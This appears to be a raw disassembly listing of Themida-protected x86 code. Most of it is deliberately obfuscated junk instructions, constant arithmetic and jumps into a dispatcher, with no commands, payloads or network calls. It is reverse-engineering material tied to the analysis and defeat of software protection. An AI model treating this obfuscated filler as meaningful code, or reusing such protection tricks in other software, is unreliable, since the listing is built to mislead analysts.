; FUNCTION CHUNK AT 0058D7FE SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0058D85F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058D87C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058D925 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058D94C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D98B SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0058D9CA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058DA26 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058DA3A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058DAEE SIZE 0000003C BYTES
; FUNCTION CHUNK AT 0058DB69 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058DBE5 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058DC23 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058DCA9 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058DD32 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 0058DD86 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058DD9C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058DE00 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058DE2E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058DF29 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0058DFB2 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0058E024 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058E065 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058E0B2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058E0D9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058E0FF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058E113 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058E12F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058E1BF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058E1E4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058E2DC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058E303 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058E356 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058E37D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058E3E0 SIZE 0000005A BYTES
; FUNCTION CHUNK AT 0058E46B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058E4D3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058E527 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058E546 SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0058E5AC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058E5CA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058E64D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058E668 SIZE 0000004E BYTES
; FUNCTION CHUNK AT 0058E6D0 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0058E714 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058E745 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058E756 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058E779 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058E799 SIZE 0000005B BYTES
; FUNCTION CHUNK AT 0058E8C9 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0058E919 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058EA54 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058EA62 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058EAAF SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058EAF6 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058EB1D SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058EC25 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058EC48 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058ED76 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0058EDC3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058EE23 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058EE68 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058EEBA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058EF15 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058EF9E SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058F064 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F165 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058F18D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058F1CD SIZE 0000006A BYTES
; FUNCTION CHUNK AT 0058F24C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F267 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058F294 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058F31E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058F344 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058F3DA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058F3F8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058F416 SIZE 0000004F BYTES
; FUNCTION CHUNK AT 0058F4C4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058F50B SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0058F53F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058F554 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 0058F5E1 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058F5FC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F699 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0058F709 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058F760 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058F777 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058F7FF SIZE 00000059 BYTES
; FUNCTION CHUNK AT 0058F860 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058F885 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F8E3 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0058F92F SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058F968 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F97E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058FA13 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058FA43 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058FA58 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058FAE4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058FB34 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058FB7D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058FB98 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058FBD8 SIZE 0000004C BYTES
; FUNCTION CHUNK AT 0058FC36 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0058FCAE SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0058FCE2 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058FD0B SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058FD7F SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0058FDDC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058FE0B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058FE30 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058FEC2 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058FEFC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058FF4E SIZE 00000037 BYTES

		push	ebx
		push	edx
		mov	dl, 16h
		mov	bh, dl
		pop	edx
		inc	bh
		jmp	loc_585E78
; ---------------------------------------------------------------------------


loc_585460:				; CODE XREF: Themida_:00588568j
		mov	esi, [esp+0Ah+var_C+2]
		add	esp, 4
		push	2027h
		mov	[esp+0Ah+var_C+2], edx
		jmp	loc_5856E8
; ---------------------------------------------------------------------------


loc_585476:				; CODE XREF: sub_585452+39C7j
		mov	esi, ebp
		pop	ebp
		xor	ebp, esi
		mov	esi, [esp+6+var_8+2]
		add	esp, 4
		add	edx, ebp
		pop	ebp
		xor	eax, edx
		pop	edx
		push	4749h
		mov	[esp+0], esi
		push	edi
		push	59B02EAFh
		mov	edi, [esp+6+var_8+2]
		add	esp, 4
		not	edi
		sub	edi, 0FFFFFFFFh
		push	edx
		jmp	loc_58804A
; ---------------------------------------------------------------------------


loc_5854AC:				; CODE XREF: sub_58DCD4-6840j
		push	434Fh
		mov	[esp+0Ah+var_C+2], ecx
		jmp	loc_5897C7
; ---------------------------------------------------------------------------


loc_5854B9:				; CODE XREF: sub_585452+39F5j
		sub	edx, 7EEE0BDAh
		jmp	loc_58F436
; ---------------------------------------------------------------------------


loc_5854C4:				; CODE XREF: Themida_:00587930j
		mov	[esp+0Ah+var_C+2], ebx
		jmp	loc_586C47
; ---------------------------------------------------------------------------


loc_5854CC:				; CODE XREF: sub_58622C+4F16j
		shl	eax, 3
		push	ebp
		jmp	loc_58660B
; ---------------------------------------------------------------------------


loc_5854D5:				; CODE XREF: Themida_:0058D564j
		xchg	ebp, [esp+0Eh+var_10+2]
		pop	esp
		shl	[esp+0Ah+var_C+2], cl
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_5854E1:				; CODE XREF: sub_58405E+40DCj
		pop	eax
		xor	[esp+6+var_4+2], edx
		jmp	loc_5865E7
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+6+var_8+2]
		push	19E9h
		jmp	loc_585FF8
; ---------------------------------------------------------------------------


loc_5854F9:				; CODE XREF: Themida_:0058E663j
		add	ebx, 904040B5h
		xor	edx, ebx
		pop	ebx
		jmp	loc_58E1BF
; ---------------------------------------------------------------------------


loc_585507:				; CODE XREF: sub_587574+3512j
		push	eax
		mov	eax, 0D0FBC2Dh
		jmp	loc_58760C
; ---------------------------------------------------------------------------


loc_585512:				; CODE XREF: Themida_:005877CFj
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], ebx
		sub	esp, 4
		mov	[esp+12h+var_14+2], eax
		mov	eax, 1B78590Ah
		mov	ebx, eax
		pop	eax
		and	ebx, 3FC26DC4h
		jmp	loc_589D48
; ---------------------------------------------------------------------------


loc_585531:				; CODE XREF: Themida_:0058D895j
		mov	ebx, 6D8E1330h
		jmp	loc_58D010
; ---------------------------------------------------------------------------


loc_58553B:				; CODE XREF: sub_585452-12E0j
		xor	edx, ebx
		pop	ebx
		add	edx, 0EE903D7Ch
		add	ebp, edx
		pop	edx
		push	eax
		push	2
		pop	eax
		push	ebx
		mov	ebx, 73D113C1h
		add	ebp, ebx
		pop	ebx
		add	ebp, eax
		sub	ebp, 73D113C1h
		pop	eax
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		jmp	loc_585B55
; ---------------------------------------------------------------------------


loc_58556E:				; CODE XREF: sub_585452-12CCj
		pop	eax
		sub	al, bh
		pop	ebx
		push	988h
		mov	[esp-8+arg_4], ebx
		mov	bl, 0Ch
		or	bl, 9Bh
		or	bl, 34h
		inc	bl
		jmp	loc_58E113
; ---------------------------------------------------------------------------
		lodsb
		push	ecx
		mov	ch, 32h
		not	ch
		push	ebx
		mov	bl, 9
		push	edx
		mov	dh, 57h
		shl	dh, 7
		inc	dh
		add	dh, 0E8h
		and	dh, 0C1h
		xor	dh, 0BAh
		jmp	loc_58752B
; ---------------------------------------------------------------------------


loc_5855A8:				; CODE XREF: Themida_:0058F53Aj
		add	[esp+4+var_4], 4
		pop	esi
		push	ebp
		jmp	loc_58AED6
; ---------------------------------------------------------------------------


loc_5855B6:				; CODE XREF: sub_585452-1AEj
		push	[esp+arg_0]
		pop	eax
		jmp	loc_584B72
; ---------------------------------------------------------------------------


loc_5855C0:				; CODE XREF: sub_585452+930Aj
		pop	edi
		pop	[esp-4+arg_0]
		mov	esp, [esp-8+arg_4]
		imul	cl
		movzx	cx, ah
		push	small 1682h
		jmp	loc_58519B
; ---------------------------------------------------------------------------


loc_5855D6:				; CODE XREF: sub_584FAB+1j
		mov	ebx, 796B4684h
		mov	edx, 8694B97Ch
		add	edx, ebx
		pop	ebx
		sub	edx, 2FF913F6h
		add	edx, ebx
		add	edx, 2FF913F6h
		xor	dword ptr [edx], 1AFD2768h
		pop	edx
		pop	ebx
		push	[esp-12h+arg_E]
		mov	eax, [esp-0Eh+arg_8+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-0Ah+arg_4+2]
		pop	esp
		sub	esp, 4
		mov	[esp-0Ah+arg_4+2], esi
		mov	esi, esp
		push	ecx
		jmp	sub_589C10
; ---------------------------------------------------------------------------


loc_58561E:				; CODE XREF: sub_58EF8B+Ej
		mov	ecx, [esp-6+arg_0+2]
		add	esp, 4
		mov	cl, dh
		pop	edx
		pop	eax
		mov	bl, cl
		push	[esp-12h+arg_E]
		mov	ecx, [esp-0Eh+arg_8+2]
		add	esp, 4
		add	esp, 4
		mov	[edi+eax*4+1], bl
		pop	ebx
		jmp	loc_587ED6
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-1Ah+arg_16]
		jmp	sub_58EA34
; ---------------------------------------------------------------------------


loc_58564F:				; CODE XREF: sub_585452+8C15j
		xchg	ebx, edx
		neg	ebx
		jmp	loc_5874A3
; ---------------------------------------------------------------------------


loc_585658:				; CODE XREF: sub_585452+962Cj
		xchg	ebp, [esp-1Ah+arg_16]
		pop	esp
		add	esp, 4
		bt	[esp-22h+arg_1E], eax
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_585669:				; CODE XREF: sub_585452+58A3j
		xor	edi, [esp-1Eh+arg_1A]
		jmp	loc_58AC9F
; ---------------------------------------------------------------------------


loc_585671:				; CODE XREF: sub_585452+7E8Aj
		pop	ecx
		sub	esp, 4
		mov	[esp-1Eh+arg_1A], edx
		push	eax
		sub	esp, 4
		mov	[esp-16h+arg_12], esp
		push	ebp
		mov	ebp, 4
		add	[esp-12h+arg_12], ebp
		pop	ebp
		pop	eax
		jmp	sub_5862E8
; ---------------------------------------------------------------------------


loc_585696:				; CODE XREF: Themida_:0058A032j
		push	7B56h
		jmp	loc_58E5CA
; ---------------------------------------------------------------------------


loc_5856A0:				; CODE XREF: Themida_:0058A4ABj
		mov	edi, [esp-16h+arg_12]
		add	esp, 4
		xchg	eax, ecx
		not	eax
		xchg	eax, ecx
		dec	ecx
		push	ebp
		push	ecx
		jmp	loc_58F53F
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-12h+arg_E]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	esi
		jmp	loc_58FCE2
; ---------------------------------------------------------------------------


loc_5856C5:				; CODE XREF: Themida_:00587CDEj
		mov	[esp-0Ah+arg_4+2], edi
		jmp	loc_58FBE5
; ---------------------------------------------------------------------------


loc_5856CD:				; CODE XREF: Themida_:0058E01Fj
		sub	[esp-0Ah+arg_E], edx
		pop	edx
		jmp	sub_58BB49
; ---------------------------------------------------------------------------


loc_5856D7:				; CODE XREF: sub_58EFBD+766j
		mov	ebp, [esp-0Eh+arg_8+2]
		jmp	loc_58ACE9
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-0Eh+arg_8+2]
		jmp	sub_58E6C2
; ---------------------------------------------------------------------------


loc_5856E8:				; CODE XREF: sub_585452+1Fj
		push	[esp+0Ah+var_8+2]
		pop	edx
		jmp	loc_586D48
; ---------------------------------------------------------------------------


loc_5856F2:				; CODE XREF: Themida_:00584ED5j
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		add	eax, 0A0E2570h
		add	eax, ecx
		sub	eax, 0A0E2570h
		pop	ecx
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		push	eax
		jmp	loc_5849CE
; ---------------------------------------------------------------------------


loc_585716:				; CODE XREF: sub_585452+521j
		push	[esp+0Eh+var_10+2]
		pop	ebp
		jmp	loc_58E0D9
; ---------------------------------------------------------------------------


loc_58571F:				; CODE XREF: Themida_:0058C106j
		and	ebp, ebx
		pop	ebx
		xor	ebp, 136B30E9h
		add	ebp, 0FFFFFFFFh
		jmp	loc_58A2E2
; ---------------------------------------------------------------------------


loc_585730:				; CODE XREF: sub_585452+4C05j
		push	ecx
		mov	ecx, 4
		jmp	loc_58C4D1
; ---------------------------------------------------------------------------


loc_58573B:				; CODE XREF: sub_58FA66-BBD9j
		push	edi
		push	esp
		pop	edi
		push	eax
		mov	eax, 7EF372FFh
		shr	eax, 3
		xor	eax, 38B712D8h
		xor	eax, 73AB28B9h
		sub	eax, 44C2543Ah
		push	ecx
		mov	ecx, 41F04340h
		sub	edi, ecx
		jmp	loc_58F6AB
; ---------------------------------------------------------------------------


loc_585763:				; CODE XREF: Themida_:0058F4A6j
		add	edx, 4
		jmp	loc_585431
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 44B77271h
		sub	eax, ebx
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], esi
		push	edx
		jmp	loc_584357
; ---------------------------------------------------------------------------
		push	[esp+22h+var_24+2]
		mov	ecx, [esp+26h+var_28+2]
		push	ebx
		mov	ebx, esp
		push	esi
		jmp	loc_58E46B
; ---------------------------------------------------------------------------


loc_585794:				; CODE XREF: Themida_:0058890Bj
		push	111Eh
		mov	[esp+32h+var_34+2], ebp
		push	eax
		push	edi
		mov	edi, 10523C83h
		mov	eax, edi
		pop	edi
		jmp	loc_58D81B
; ---------------------------------------------------------------------------


loc_5857AB:				; CODE XREF: Themida_:0058F991j
		xor	eax, ebp
		pop	ebp
		neg	eax
		jmp	loc_58E0FF
; ---------------------------------------------------------------------------


loc_5857B5:				; CODE XREF: Themida_:00588D0Fj
		mov	esp, [esp+32h+var_34+2]
		ror	word ptr [esp+32h+var_34+2], cl
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_5857C2:				; CODE XREF: sub_58C92B-81D9j
		pop	edx
		xchg	edi, edx
		neg	edi
		jmp	loc_584B29
; ---------------------------------------------------------------------------


loc_5857CC:				; CODE XREF: Themida_:0058D8FCj
		xchg	esi, [esp+32h+var_34+2]
		jmp	loc_5864E6
; ---------------------------------------------------------------------------
		lodsd
		push	ecx
		mov	ecx, 30F96791h
		jmp	loc_58D638
; ---------------------------------------------------------------------------
		mov	sp, word ptr [esp+36h+var_38+2]
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_5857E9:				; CODE XREF: sub_585452+36E1j
		xor	[esp+36h+var_38+2], esi
		xor	esi, [esp+36h+var_38+2]
		pop	esp
		imul	ecx
		push	73FDh
		mov	[esp+36h+var_38+2], edx
		push	eax
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_585801:				; CODE XREF: sub_5877DD+1967j
		pop	ebp
		pop	ebx
		jmp	loc_589564
; ---------------------------------------------------------------------------


loc_585808:				; CODE XREF: Themida_:00587DB6j
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xchg	edx, [esp+32h+var_34+2]
		jmp	loc_5881F1
; ---------------------------------------------------------------------------
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_585037
		push	edi
		jmp	loc_589C69
; ---------------------------------------------------------------------------


loc_58582A:				; CODE XREF: Themida_:00584A1Fj
		mov	ebx, 0E4C3CA3h
		shl	ebx, 4
		dec	ebx
		jmp	loc_58416C
; ---------------------------------------------------------------------------
		push	[esp+36h+var_38+2]
		push	[esp+3Ah+var_3C+2]
		push	[esp+3Eh+var_40+2]
		mov	eax, [esp+42h+var_44+2]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp+3Eh+var_40+2], ebp
		mov	ebp, esp
		push	240Dh
		mov	[esp+42h+var_44+2], eax
		jmp	loc_58EA62
; ---------------------------------------------------------------------------


loc_585865:				; CODE XREF: Themida_:00589542j
		sub	ebp, ebx
		jmp	loc_58A55A
; ---------------------------------------------------------------------------


loc_58586C:				; CODE XREF: Themida_:00586B98j
		xchg	edi, [esp+42h+var_44+2]
		mov	esp, [esp+42h+var_44+2]
		pop	[esp+42h+var_44+2]
		xchg	edx, esi
		push	edx
		not	[esp+42h+var_44+2]
		pop	edx
		push	esi
		push	edx
		pop	esi
		jmp	loc_5862CB
; ---------------------------------------------------------------------------


loc_585884:				; CODE XREF: Themida_:0058BAF3j
		pop	ecx
		jmp	loc_58BD4C
; ---------------------------------------------------------------------------


loc_58588A:				; CODE XREF: Themida_:0058DDC1j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+3Eh+var_40+2]
		jmp	loc_58497C
; ---------------------------------------------------------------------------


loc_58589E:				; CODE XREF: sub_58E931-99F5j
		inc	edi
		inc	edi
		xor	edi, 75721572h
		add	edi, 78993C40h
		add	eax, edi
		mov	edi, [esp+3Eh+var_40+2]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58856D
; ---------------------------------------------------------------------------


loc_5858C2:				; CODE XREF: sub_5862E8+2A09j
		mov	esp, [esp+3Eh+var_40+2]
		mov	[esp+3Eh+var_40+2], ecx
		jmp	loc_5862B6
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		push	edx
		push	[esp+46h+var_44+2]
		jmp	loc_58B004
; ---------------------------------------------------------------------------


loc_5858E6:				; CODE XREF: sub_585452+86BAj
		pop	esi
		and	eax, ebp
		push	[esp+46h+var_48+2]
		jmp	loc_58A82E
; ---------------------------------------------------------------------------


loc_5858F1:				; CODE XREF: sub_585452+5FA0j
		push	[esp+4Ah+var_4C+2]
		pop	eax
		jmp	loc_58E407
; ---------------------------------------------------------------------------


loc_5858FA:				; CODE XREF: sub_58DD80-E8Fj
		not	ebp
		xchg	ebp, ecx
		sub	ecx, 87BB5EBEh
		xor	eax, ecx
		push	[esp+4Ah+var_4C+2]
		pop	ecx
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 772E65B0h
		push	ecx
		mov	ecx, 37C64D77h
		and	ebp, ecx
		pop	ecx
		xor	ebp, 27DC0134h
		add	ebp, 18E63B6Ah
		jmp	loc_58EC25
; ---------------------------------------------------------------------------


loc_58592D:				; CODE XREF: Themida_:00584899j
		pop	ebp
		pop	edi
		add	esi, 4
		xor	esi, [esp+4Ah+var_4C+2]
		xor	[esp+4Ah+var_4C+2], esi
		xor	esi, [esp+4Ah+var_4C+2]
		pop	esp
		sub	[esp+46h+var_48+2], 0EA27D2h
		add	[esp+46h+var_48+2], eax
		push	esi
		jmp	loc_58D594
; ---------------------------------------------------------------------------


loc_58594C:				; CODE XREF: Themida_:0058D7F9j
		mov	ecx, 2AEB69D9h
		mov	edx, 2AEB69DBh
		xor	edx, ecx
		pop	ecx
		push	esi
		mov	esi, 5FB64030h
		add	edi, esi
		pop	esi
		add	edi, 6174196Ch
		add	edi, edx
		jmp	loc_58708A
; ---------------------------------------------------------------------------


loc_58596F:				; CODE XREF: Themida_:0058E904j
		add	[esp+46h+var_44+2], ebp
		jmp	loc_585716
; ---------------------------------------------------------------------------


loc_585978:				; CODE XREF: sub_585452+2080j
		and	cl, 95h
		and	cl, 26h
		jmp	loc_58C682
; ---------------------------------------------------------------------------


loc_585983:				; CODE XREF: sub_58DB2A+2Fj
		mov	esi, [esp+46h+var_48+2]
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		jmp	loc_58EC53
; ---------------------------------------------------------------------------


loc_585996:				; CODE XREF: sub_585452+7150j
		neg	ebx
		neg	ebx
		shr	ebx, 1
		xor	ebx, 6CCAE5F7h
		sub	edi, 4792213Ch
		add	edi, 18E921A0h
		jmp	loc_58CF2A
; ---------------------------------------------------------------------------


loc_5859B3:				; CODE XREF: Themida_:0058F3ECj
		push	6905h
		push	1BE0h
		mov	[esp+56h+var_58+2], esp
		add	[esp+56h+var_58+2], 4
		pop	[esp+56h+var_58+2]
		jmp	loc_58E8C9
; ---------------------------------------------------------------------------


loc_5859CF:				; CODE XREF: Themida_:00589771j
		sub	ebx, edx
		sub	ebx, 42CC458Fh
		pop	edx
		jmp	loc_5843F4
; ---------------------------------------------------------------------------


loc_5859DD:				; CODE XREF: Themida_:0058756Fj
		push	edi
		xchg	eax, [esp+52h+var_54+2]
		not	eax
		xchg	eax, [esp+52h+var_54+2]
		jmp	loc_587621
; ---------------------------------------------------------------------------


loc_5859EB:				; CODE XREF: sub_58E761-3D60j
		sub	esi, ebx
		sub	esi, 604B0F54h
		mov	ebx, [esp+52h+var_54+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+56h+var_58+2]
		pop	esp
		xor	esi, [esp+52h+var_54+2]
		xor	[esp+52h+var_54+2], esi
		xor	esi, [esp+52h+var_54+2]
		jmp	loc_58E7DE
; ---------------------------------------------------------------------------


loc_585A14:				; CODE XREF: Themida_:0058FC61j
		xchg	ebp, [esp+52h+var_54+2]
		pop	esp
		push	ebx
		mov	ebx, 70A5599Ah
		sub	ebx, 70A55996h
		jmp	loc_58703F
; ---------------------------------------------------------------------------


loc_585A29:				; CODE XREF: Themida_:00589078j
		add	ebx, 2
		push	ebx
		push	[esp+56h+var_54+2]
		pop	ebx
		pop	[esp+56h+var_58+2]
		mov	esp, [esp+52h+var_54+2]
		and	word ptr [esp+52h+var_54+2], ax
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_585A42:				; CODE XREF: sub_585452+8EC8j
		mov	edx, [esp+56h+var_58+2]
		add	esp, 4
		add	ebx, edi
		push	[esp+52h+var_54+2]
		pop	edi
		add	esp, 4
		sub	ebx, eax
		push	ecx
		jmp	loc_58A571
; ---------------------------------------------------------------------------


loc_585A5C:				; CODE XREF: Themida_:0058D438j
		push	[esp+52h+var_54+2]
		pop	ebp
		add	esp, 4
		jmp	loc_583EB3
; ---------------------------------------------------------------------------


loc_585A68:				; CODE XREF: Themida_:0058E648j
		mov	eax, 5CF83CE7h
		sub	esi, eax
		pop	eax
		jmp	loc_58641D
; ---------------------------------------------------------------------------


loc_585A75:				; CODE XREF: Themida_:00588E01j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5866D4
; ---------------------------------------------------------------------------


loc_585A85:				; CODE XREF: sub_58DEA3-678Fj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+4Ah+var_4C+2]
		jmp	loc_58AF96
; ---------------------------------------------------------------------------


loc_585A96:				; CODE XREF: Themida_:0058439Cj
		sub	esp, 4
		mov	[esp+4Eh+var_50+2], edx
		push	4695439Bh
		jmp	loc_5884E0
; ---------------------------------------------------------------------------


loc_585AA6:				; CODE XREF: sub_58BE98+1238j
		add	eax, 0F5FCFDACh
		push	eax
		sub	[esp+56h+var_58+2], 62DE0A87h
		jmp	loc_58B3EB
; ---------------------------------------------------------------------------


loc_585AB8:				; CODE XREF: Themida_:0058529Ej
		push	429Ch
		mov	[esp+5Ah+var_5C+2], esp
		add	[esp+5Ah+var_5C+2], 4
		jmp	loc_585D9D
; ---------------------------------------------------------------------------


loc_585ACC:				; CODE XREF: Themida_:005848BAj
		mov	ebx, 14235375h
		sub	edx, ebx
		pop	ebx
		or	ecx, ecx
		jz	loc_588E30
		push	5DBFh
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+5Eh+var_60+2]
		pop	esp
		mov	[esp+5Ah+var_5C+2], esp
		push	ebp
		push	ebx
		mov	ebx, 4
		jmp	sub_58C230
; ---------------------------------------------------------------------------


loc_585B00:				; CODE XREF: sub_58905F+4483j
		pop	ebp
		xor	esi, 11CF6CE1h
		push	esi
		pop	eax
		jmp	loc_5892A5
; ---------------------------------------------------------------------------


loc_585B0E:				; CODE XREF: Themida_:0058C2C1j
		dec	dh
		jmp	loc_58C973
; ---------------------------------------------------------------------------


loc_585B15:				; CODE XREF: sub_585452-DC9j
		mov	[esp-4+arg_0], edx
		push	esp
		jmp	loc_58AC60
; ---------------------------------------------------------------------------


loc_585B1E:				; CODE XREF: sub_585452+DF6j
		push	4444h
		jmp	loc_58BCBE
; ---------------------------------------------------------------------------


loc_585B28:				; CODE XREF: sub_585452+A01j
		mov	esi, [esp+4+var_4]
		add	esp, 4
		inc	ecx
		sub	ecx, 5F904896h
		and	ecx, 2E66695Dh
		sub	ecx, 3CE96DE0h
		push	ebx
		mov	ebx, 0D17CB36Ah
		xor	ecx, ebx
		pop	ebx
		add	edx, ecx
		pop	ecx
		jmp	loc_584CEA
; ---------------------------------------------------------------------------


loc_585B55:				; CODE XREF: sub_585452+117j
		pop	esp
		idiv	cl
		jmp	loc_58A7DE
; ---------------------------------------------------------------------------


loc_585B5D:				; CODE XREF: sub_585452+81FBj
		mov	edi, [esp-14h+arg_E+2]
		add	esp, 4
		add	esp, 4
		add	eax, ebx
		sub	esp, 4
		mov	[esp-18h+arg_12+2], ebx
		mov	ebx, 1A376A0Ah
		add	eax, 2D8F32C2h
		sub	eax, ebx
		sub	eax, 2D8F32C2h
		mov	ebx, [esp-18h+arg_12+2]
		add	esp, 4
		add	eax, 30F96791h
		jmp	sub_58DD80
; ---------------------------------------------------------------------------


loc_585B9B:				; CODE XREF: Themida_:0058B76Aj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58718D
; ---------------------------------------------------------------------------


loc_585BA8:				; CODE XREF: sub_585452+623Dj
		xor	edx, 85B61B2Bh
		add	ebx, edx
		pop	edx
		push	edx
		push	14FEh
		mov	[esp-18h+arg_12+2], ecx
		mov	cl, 0FAh
		mov	dh, 85h
